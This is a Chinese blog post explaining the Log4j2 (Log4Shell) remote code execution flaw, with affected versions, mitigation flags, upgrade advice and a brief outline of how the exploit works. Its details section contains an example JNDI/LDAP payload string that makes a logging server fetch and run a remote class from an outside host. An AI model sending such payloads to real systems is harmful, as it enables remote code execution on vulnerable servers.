Apache Log4j2 漏洞修复及复现

1,573 阅读2分钟

文末漏洞细节

[toc]

前言

这几天 Apache Log4j2 远程代码执行漏洞刷屏了整个互联网行业,公司也发生了这个问题,做出了紧急修复。

在这里插入图片描述

介绍

相信每一个技术人都有听过这款日志框架的大名。Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

github.com/apache/logg…

原因

由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

影响

漏洞利用无需特殊配置,经安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。因该组件使用极为广泛,影响面也很广。

漏洞评级

Apache Log4j 远程代码执行漏洞 严重

在这里插入图片描述

影响版本

Apache log4j2 >= 2.0, <= 2.14.1


修复建议

紧急缓解措施:

  1. 修改jvm参数-

Dlog4j2.formatMsgNoLookups=true

  1. 修改配置

log4j2.formatMsgNoLookups=True

  1. 将系统环境变量

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

升级:

升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本 地址: github.com/apache/logg…

措施:

  • 限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。

漏洞细节

在这里插入图片描述 大家一定都看到这张图了,这张是利用漏洞执行远程代码调用打开一个计算器。

一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数。如果前台传的是构造的参数如:${jndi:ldap://gitee.com/rodert/exp}。exp 返回的是一个构造方法里执行 shell 代码的 class 文件。

然后你设置的什么命令服务器接收到参数后就执行这个命令了。

为保护大多数应用的安全,以上是大概思路,如果有兴趣复现学习,请在公众号回复 log4j2 查看实验案例。请勿作恶,后果自负。